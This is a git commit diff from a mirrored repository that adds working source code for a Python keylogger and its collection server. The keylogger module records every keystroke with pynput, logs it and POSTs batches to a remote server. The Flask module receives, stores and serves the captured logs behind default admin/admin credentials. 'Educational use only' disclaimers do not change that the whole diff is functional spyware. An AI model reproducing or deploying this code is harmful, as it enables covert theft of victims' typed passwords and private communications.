mirror of
https://github.com/0x5t4l1n/Keylogger.git
synced 2026-05-26 19:36:31 +00:00
Restructure project with organized directories and improved configuration
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
@@ -0,0 +1,10 @@
|
||||
"""
|
||||
Keylogger Package
|
||||
Educational keylogging tools for security awareness.
|
||||
|
||||
For educational purposes only.
|
||||
"""
|
||||
|
||||
__version__ = '0.2.0'
|
||||
__author__ = 'Stalin-143'
|
||||
__license__ = 'See LICENSE file'
|
||||
@@ -0,0 +1,212 @@
|
||||
"""
|
||||
Keylogger Module
|
||||
Captures keyboard input and sends it to a remote server.
|
||||
For educational purposes only.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import argparse
|
||||
from pynput.keyboard import Listener, Key
|
||||
import requests
|
||||
import time
|
||||
|
||||
# ASCII Art Banner
|
||||
BANNER = r"""
|
||||
_ __ _
|
||||
| |/ /___ _ _ | | ___ __ _ __ _ ___ _ __
|
||||
| ' // _ \ | | | | | / _ \ / _` |/ _` |/ _ \ '__|
|
||||
| . \ __/ |_| | | |__| (_) | (_| | (_| | __/ |
|
||||
|_|\_\___|\__, | |_____\___/ \__, |\__, |\___|_|
|
||||
|___/ |___/ |___/
|
||||
0.2
|
||||
|
||||
|
||||
|
||||
GitHub: https://github.com/Stalin-143
|
||||
"""
|
||||
|
||||
|
||||
class KeyLogger:
|
||||
"""Keylogger class to handle keyboard input capture and logging."""
|
||||
|
||||
def __init__(self, log_file_path, server_url, batch_size=10):
|
||||
"""
|
||||
Initialize the KeyLogger.
|
||||
|
||||
Args:
|
||||
log_file_path (str): Path to the log file
|
||||
server_url (str): URL of the server to send logs to
|
||||
batch_size (int): Number of keystrokes before sending to server
|
||||
"""
|
||||
self.log_file_path = log_file_path
|
||||
self.server_url = server_url
|
||||
self.batch_size = batch_size
|
||||
self.buffer = []
|
||||
|
||||
# Ensure the log directory exists
|
||||
log_dir = os.path.dirname(self.log_file_path)
|
||||
if log_dir and not os.path.exists(log_dir):
|
||||
try:
|
||||
os.makedirs(log_dir, exist_ok=True)
|
||||
except PermissionError as e:
|
||||
print(f"PermissionError: {e}")
|
||||
print("Please ensure you have permission to write to the specified path.")
|
||||
sys.exit(1)
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(
|
||||
filename=self.log_file_path,
|
||||
level=logging.DEBUG,
|
||||
format="%(asctime)s: %(message)s"
|
||||
)
|
||||
|
||||
def send_log_to_server(self):
|
||||
"""Send buffered log data to the web server."""
|
||||
if not self.buffer:
|
||||
return
|
||||
|
||||
try:
|
||||
log_data = ''.join(self.buffer)
|
||||
response = requests.post(self.server_url, data={"log": log_data}, timeout=10)
|
||||
|
||||
if response.status_code == 200:
|
||||
print("Log sent successfully!")
|
||||
else:
|
||||
print(f"Failed to send log. Server responded with status: {response.status_code}")
|
||||
|
||||
# Clear the buffer after sending
|
||||
self.buffer = []
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"Error sending log: {e}")
|
||||
|
||||
def on_press(self, key):
|
||||
"""
|
||||
Handle key press events.
|
||||
|
||||
Args:
|
||||
key: The key that was pressed
|
||||
"""
|
||||
try:
|
||||
# Capture the key press and format it
|
||||
if hasattr(key, 'char') and key.char is not None:
|
||||
key_str = f"Key pressed: {key.char}"
|
||||
else:
|
||||
# Handle special keys
|
||||
key_str = f"Special key pressed: {key}"
|
||||
|
||||
# Log the key
|
||||
logging.info(key_str)
|
||||
self.buffer.append(key_str + "\n")
|
||||
|
||||
# If buffer reaches batch size, send the log
|
||||
if len(self.buffer) >= self.batch_size:
|
||||
self.send_log_to_server()
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error logging key: {e}")
|
||||
|
||||
def on_release(self, key):
|
||||
"""
|
||||
Handle key release events.
|
||||
|
||||
Args:
|
||||
key: The key that was released
|
||||
|
||||
Returns:
|
||||
False to stop the listener when ESC is pressed
|
||||
"""
|
||||
# Stop listener when 'esc' is pressed
|
||||
if key == Key.esc:
|
||||
return False
|
||||
|
||||
def start(self):
|
||||
"""Start the keylogger."""
|
||||
print(BANNER)
|
||||
print("Keylogger started. Press ESC to stop.")
|
||||
print(f"Logging to: {self.log_file_path}")
|
||||
print(f"Server URL: {self.server_url}")
|
||||
print("-" * 50)
|
||||
|
||||
# Start listening for keyboard events
|
||||
with Listener(on_press=self.on_press, on_release=self.on_release) as listener:
|
||||
listener.join()
|
||||
|
||||
# Send any remaining logs when the listener stops
|
||||
self.send_log_to_server()
|
||||
print("\nKeylogger stopped.")
|
||||
|
||||
|
||||
def load_config(config_path):
|
||||
"""
|
||||
Load configuration from JSON file.
|
||||
|
||||
Args:
|
||||
config_path (str): Path to the config file
|
||||
|
||||
Returns:
|
||||
dict: Configuration dictionary
|
||||
"""
|
||||
try:
|
||||
with open(config_path, 'r') as f:
|
||||
return json.load(f)
|
||||
except FileNotFoundError:
|
||||
print(f"Error: Config file not found at {config_path}")
|
||||
print("Please copy config/config.json.example to config/config.json and configure it.")
|
||||
sys.exit(1)
|
||||
except json.JSONDecodeError as e:
|
||||
print(f"Error: Invalid JSON in config file: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def main():
|
||||
"""Main function to run the keylogger."""
|
||||
parser = argparse.ArgumentParser(
|
||||
description='Keylogger - For educational purposes only',
|
||||
epilog='Always obtain explicit consent before using monitoring tools.'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--config',
|
||||
default='config/config.json',
|
||||
help='Path to configuration file (default: config/config.json)'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--log-file',
|
||||
help='Override log file path from config'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--server-url',
|
||||
help='Override server URL from config'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--batch-size',
|
||||
type=int,
|
||||
help='Override batch size from config'
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Load configuration
|
||||
config = load_config(args.config)
|
||||
keylogger_config = config.get('keylogger', {})
|
||||
|
||||
# Override with command-line arguments if provided
|
||||
log_file_path = args.log_file or keylogger_config.get('log_file_path', 'logs/keylog.txt')
|
||||
server_url = args.server_url or keylogger_config.get('server_url', '')
|
||||
batch_size = args.batch_size or keylogger_config.get('batch_size', 10)
|
||||
|
||||
if not server_url:
|
||||
print("Error: Server URL not configured.")
|
||||
print("Please set server_url in config/config.json or use --server-url argument.")
|
||||
sys.exit(1)
|
||||
|
||||
# Create and start the keylogger
|
||||
keylogger = KeyLogger(log_file_path, server_url, batch_size)
|
||||
keylogger.start()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
+300
@@ -0,0 +1,300 @@
|
||||
"""
|
||||
Web Server Module
|
||||
Flask web server to view and download keylogger logs.
|
||||
For educational purposes only.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
import argparse
|
||||
from functools import wraps
|
||||
from flask import Flask, render_template_string, send_file, request, Response
|
||||
|
||||
# ASCII Art Banner
|
||||
BANNER = r"""
|
||||
__ __ _ ____
|
||||
\ \ / /__| |__ / ___| ___ _ ____ _____ _ __
|
||||
\ \ /\ / / _ \ '_ \ \___ \ / _ \ '__\ \ / / _ \ '__|
|
||||
\ V V / __/ |_) | ___) | __/ | \ V / __/ |
|
||||
\_/\_/ \___|_.__/ |____/ \___|_| \_/ \___|_|
|
||||
|
||||
|
||||
Github: https://github.com/Stalin-143
|
||||
"""
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
# Global configuration
|
||||
CONFIG = {
|
||||
'log_file_path': 'logs/keylog.txt',
|
||||
'username': 'admin',
|
||||
'password': 'admin'
|
||||
}
|
||||
|
||||
|
||||
def check_auth(username, password):
|
||||
"""
|
||||
Check if username and password are valid.
|
||||
|
||||
Args:
|
||||
username (str): Username to check
|
||||
password (str): Password to check
|
||||
|
||||
Returns:
|
||||
bool: True if valid, False otherwise
|
||||
"""
|
||||
return username == CONFIG['username'] and password == CONFIG['password']
|
||||
|
||||
|
||||
def authenticate():
|
||||
"""Send a 401 response to enable basic auth."""
|
||||
return Response(
|
||||
'Unauthorized Access. Please log in with correct credentials.',
|
||||
401,
|
||||
{'WWW-Authenticate': 'Basic realm="Login Required"'}
|
||||
)
|
||||
|
||||
|
||||
def requires_auth(f):
|
||||
"""
|
||||
Decorator to enforce authentication on routes.
|
||||
|
||||
Args:
|
||||
f: Function to decorate
|
||||
|
||||
Returns:
|
||||
Decorated function
|
||||
"""
|
||||
@wraps(f)
|
||||
def decorated(*args, **kwargs):
|
||||
auth = request.authorization
|
||||
if not auth or not check_auth(auth.username, auth.password):
|
||||
return authenticate()
|
||||
return f(*args, **kwargs)
|
||||
return decorated
|
||||
|
||||
|
||||
# HTML template to display the log contents and provide a download link
|
||||
HTML_TEMPLATE = '''
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Keylogger Log Viewer</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #f0f0f0;
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
}
|
||||
h1 {
|
||||
color: #333;
|
||||
}
|
||||
pre {
|
||||
background-color: #fff;
|
||||
padding: 15px;
|
||||
border: 1px solid #ccc;
|
||||
max-height: 400px;
|
||||
overflow-y: scroll;
|
||||
}
|
||||
.button {
|
||||
padding: 10px 15px;
|
||||
background-color: #4CAF50;
|
||||
color: white;
|
||||
text-align: center;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
margin-top: 20px;
|
||||
text-decoration: none;
|
||||
display: inline-block;
|
||||
}
|
||||
.button:hover {
|
||||
background-color: #45a049;
|
||||
}
|
||||
.warning {
|
||||
background-color: #fff3cd;
|
||||
border: 1px solid #ffc107;
|
||||
padding: 10px;
|
||||
margin-bottom: 20px;
|
||||
border-radius: 5px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="warning">
|
||||
<strong>⚠️ Educational Use Only:</strong> This tool is for authorized security testing and educational purposes only.
|
||||
Unauthorized use is illegal.
|
||||
</div>
|
||||
|
||||
<h1>Log File: {{ log_file_path }}</h1>
|
||||
|
||||
<h2>Log File Contents:</h2>
|
||||
<pre>{{ log_contents }}</pre>
|
||||
|
||||
<a href="{{ url_for('download_log') }}" class="button">Download Log File</a>
|
||||
</body>
|
||||
</html>
|
||||
'''
|
||||
|
||||
|
||||
@app.route('/', methods=['GET'])
|
||||
@requires_auth
|
||||
def home():
|
||||
"""
|
||||
Display the log file contents.
|
||||
|
||||
Returns:
|
||||
HTML page with log contents
|
||||
"""
|
||||
log_file_path = CONFIG['log_file_path']
|
||||
|
||||
if os.path.exists(log_file_path):
|
||||
try:
|
||||
with open(log_file_path, 'r') as file:
|
||||
log_contents = file.read()
|
||||
except Exception as e:
|
||||
log_contents = f"Error reading log file: {e}"
|
||||
else:
|
||||
log_contents = "Log file not found."
|
||||
|
||||
return render_template_string(
|
||||
HTML_TEMPLATE,
|
||||
log_file_path=log_file_path,
|
||||
log_contents=log_contents
|
||||
)
|
||||
|
||||
|
||||
@app.route('/download', methods=['GET'])
|
||||
@requires_auth
|
||||
def download_log():
|
||||
"""
|
||||
Download the log file.
|
||||
|
||||
Returns:
|
||||
File download response or error message
|
||||
"""
|
||||
log_file_path = CONFIG['log_file_path']
|
||||
|
||||
if os.path.exists(log_file_path):
|
||||
return send_file(log_file_path, as_attachment=True)
|
||||
return "Log file not found."
|
||||
|
||||
|
||||
@app.route('/', methods=['POST'])
|
||||
def receive_log():
|
||||
"""
|
||||
Receive log data from keylogger.
|
||||
|
||||
Returns:
|
||||
Success or error message
|
||||
"""
|
||||
try:
|
||||
log_data = request.form.get('log', '')
|
||||
if log_data:
|
||||
log_file_path = CONFIG['log_file_path']
|
||||
|
||||
# Ensure log directory exists
|
||||
log_dir = os.path.dirname(log_file_path)
|
||||
if log_dir and not os.path.exists(log_dir):
|
||||
os.makedirs(log_dir, exist_ok=True)
|
||||
|
||||
# Append log data to file
|
||||
with open(log_file_path, 'a') as f:
|
||||
f.write(log_data)
|
||||
|
||||
return "Log received successfully", 200
|
||||
return "No log data provided", 400
|
||||
except Exception as e:
|
||||
return f"Error: {str(e)}", 500
|
||||
|
||||
|
||||
def load_config(config_path):
|
||||
"""
|
||||
Load configuration from JSON file.
|
||||
|
||||
Args:
|
||||
config_path (str): Path to the config file
|
||||
|
||||
Returns:
|
||||
dict: Configuration dictionary
|
||||
"""
|
||||
try:
|
||||
with open(config_path, 'r') as f:
|
||||
return json.load(f)
|
||||
except FileNotFoundError:
|
||||
print(f"Warning: Config file not found at {config_path}")
|
||||
print("Using default configuration.")
|
||||
return {}
|
||||
except json.JSONDecodeError as e:
|
||||
print(f"Error: Invalid JSON in config file: {e}")
|
||||
return {}
|
||||
|
||||
|
||||
def main():
|
||||
"""Main function to run the web server."""
|
||||
print(BANNER)
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description='Web Server for Keylogger - For educational purposes only',
|
||||
epilog='Always obtain explicit consent before using monitoring tools.'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--config',
|
||||
default='config/config.json',
|
||||
help='Path to configuration file (default: config/config.json)'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--log-file',
|
||||
help='Override log file path from config'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--host',
|
||||
default='0.0.0.0',
|
||||
help='Host to bind to (default: 0.0.0.0)'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--port',
|
||||
type=int,
|
||||
default=5000,
|
||||
help='Port to bind to (default: 5000)'
|
||||
)
|
||||
parser.add_argument(
|
||||
'--debug',
|
||||
action='store_true',
|
||||
help='Enable debug mode'
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Load configuration
|
||||
config = load_config(args.config)
|
||||
server_config = config.get('web_server', {})
|
||||
|
||||
# Update global config
|
||||
CONFIG['log_file_path'] = args.log_file or server_config.get('log_file_path', 'logs/keylog.txt')
|
||||
|
||||
# Load credentials from environment variables or config
|
||||
CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME', 'admin')
|
||||
CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD', 'admin')
|
||||
|
||||
if CONFIG['password'] == 'admin':
|
||||
print("⚠️ WARNING: Using default password. Please set WEB_SERVER_PASSWORD environment variable.")
|
||||
|
||||
# Get server settings
|
||||
host = args.host or server_config.get('host', '0.0.0.0')
|
||||
port = args.port or server_config.get('port', 5000)
|
||||
debug = args.debug or server_config.get('debug', False)
|
||||
|
||||
print(f"\nStarting web server on {host}:{port}")
|
||||
print(f"Log file path: {CONFIG['log_file_path']}")
|
||||
print(f"Username: {CONFIG['username']}")
|
||||
print("-" * 50)
|
||||
|
||||
app.run(host=host, port=port, debug=debug)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Reference in New Issue
Block a user